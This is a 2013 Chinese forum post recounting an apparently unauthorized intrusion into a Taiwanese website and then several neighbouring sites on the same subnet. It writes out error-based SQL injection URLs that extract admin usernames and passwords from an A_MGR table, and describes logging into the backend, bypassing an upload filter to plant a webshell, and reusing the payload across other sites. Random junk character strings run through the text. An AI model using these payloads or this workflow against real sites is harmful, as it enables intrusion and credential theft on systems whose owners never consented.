发现一个注入点0 u3 \ b1 a( C1 L1 }
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
8 r! Y; |, Y3 P! C2 |2 K& ~0 x4 u+ {( W
习惯性的加’having1=1--: M- g$ h0 L, j6 q- W
7 N8 M" t: y9 U# |. \4 Q' H- h+ lhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—/ t8 v. L" K* \ @8 T1 W4 Z/ j
b+ E5 U K0 M0
. w9 T/ p, a* r4 U# N" n! `/ q: R- |& K- w! d
爆出Diary_A.dl_Title（这时候很激动啊）: o- j- ?1 a( y$ b
9 j' C* r3 g' X那么继续# f! I: ], L% l/ t
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
+ h7 O; h$ u* ]' Z! {) q0 m4 z1 E) K, X, a3 ]2 |7 `$ Q
继续，一直爆下去# o7 X" a- f( Y5 r7 C3 ?
/ l$ H# ?' B2 f$ M( v& Y2 T
爆到几个字段和表段 但是没找到需要的管理用户的字段! {1 t$ @9 G3 H: ~8 v9 v
9 ~0 k4 b+ Q$ b6 e8 h* I- x5 c5 G
蛋疼了 怎么办 然后去后台登陆页看源码* L, l d6 H0 q/ r7 |
8 Q. U( O! o: p! P5 T. W6 J
0 g+ E! ^4 P, _/ D% |3 |: _
0 g; C/ ~" B, g9 nInput name= “ADUID”: N6 ^! ^: ~3 O. I. F. w
Input name= “ADPWD”7 z5 o& J. I. N7 o( @$ f& ^
4 G6 r! Q( b ], F& U
很幸运 找到了字段那就继续
2 e/ {; H. K3 I找到之后开始爆用户0 a2 W; Q0 G# J' B
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
6 u* c5 n; D! r, f5 r9 u9 ^爆密码
4 f1 }3 q3 ?1 Y% V# lhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
0 A& M% O- G P9 Y$ \2 ^2 L测试了下 这个注入点只能爆到文章哪里的表
) _ y; t( {" Q9 A8 F! `* O
6 n) Z$ h$ y" P" a# C( k8 u1 C: g+ R头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了( P7 f# S( E# ?
; ^$ ~2 t* }, P3 Z6 a8 w- y' R) y& ~又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了- N& v! |+ }+ h0 t% T/ P
3 ^5 i3 p/ G' G* T; g
473. u6 K) R, t. x( m! k9 N, ^' ]: N
: g) E) y- q" P7 J
进后台
% B' y5 T# z2 u A; N
5 P+ e6 V7 B3 ^7 u; k" u- W# a* m! z: R# Y) h& R
发现几个上传点 有的地方不能上传 而且防止恶意代码: _* t$ W& G, V
) b$ J& }* l0 P3 x3 z+ y没办法 各种百度各种找大牛 找到一只好像可以突破的马1 N8 R* \/ k- d" R$ B! S
4 o# a, x2 d" u) b- g
9 h4 ^% W9 z F) a7 |0 p在系统管理那里直接上传 不过没有显示地址
/ M; l4 z z, r3 w
2 u9 ~2 \" W7 d% u6 S再上传一次 抓包 搞定OK
9 }! D2 i0 H2 k; d6 `: D
4 K0 }( T% @6 P7 W; j/ r1 U- y6 w" t! O
/ Z- X( g3 M- F) _" |: ^1 ~
472
& u% i4 j! U, s7 Y3 p6 I1 V. S- b" o* p W7 s1 U
晚上不行了 去睡觉。。。
; y: p4 W% f; a, |第二天刚起床 闲的没事做继续日站吧
, I) @, _. l+ ?" K" s, R, R6 j' d+ s8 X4 \( L% u+ { J' u, {
找个站 就把这个站的旁c扫了下% }5 ~4 O$ u/ W$ Y. p# P0 Y
3 ]# L$ ?* R4 x" P" B
发现c段也有一个购物站 ，然后还和这个站的模板差不多
/ q# h3 ]9 u/ ?4 q9 y. _/ e4 L+ ?9 X/ @) R# r- ?
就找到会员登录口测试
# q7 k4 h9 V* {3 }, J; v2 x, g) A6 m4 n% H7 \: ^9 u+ {
'and (select top 1 MGR_UID from A_MGR)>0—0 i: ~6 V3 e8 d3 U
果断爆到了 这时候我很激动 通杀
+ y* x( V% J4 L B4 K+ H- I8 Q( `4 _& w
再次翻c段
8 X& C0 I8 ~# x' l) K: h* G8 |( u
$ G* K I2 o1 y9 |) j' |5 {% a9 y翻出几个站 都成功拿下' J2 b, n' i, t9 ]
$ @* Q: v9 \5 R" a6 S0 \; ^# h' r& C+ E% z
: N; t1 b# [2 p. H) T+ x% a/ `
修复方案：
* ~. y. i& A6 }; d他们比我专业
- R: q' v0 K, l$ X2 @) h
9 X+ X r7 P" h1 u7 E0 }3 D1 R& T" ]. [9 u) L- l- ]8 y
5 _1 f3 k4 O4 i2 i3 ^/ g |
发表于 2013-4-4 17:40:38
收藏
支持
反对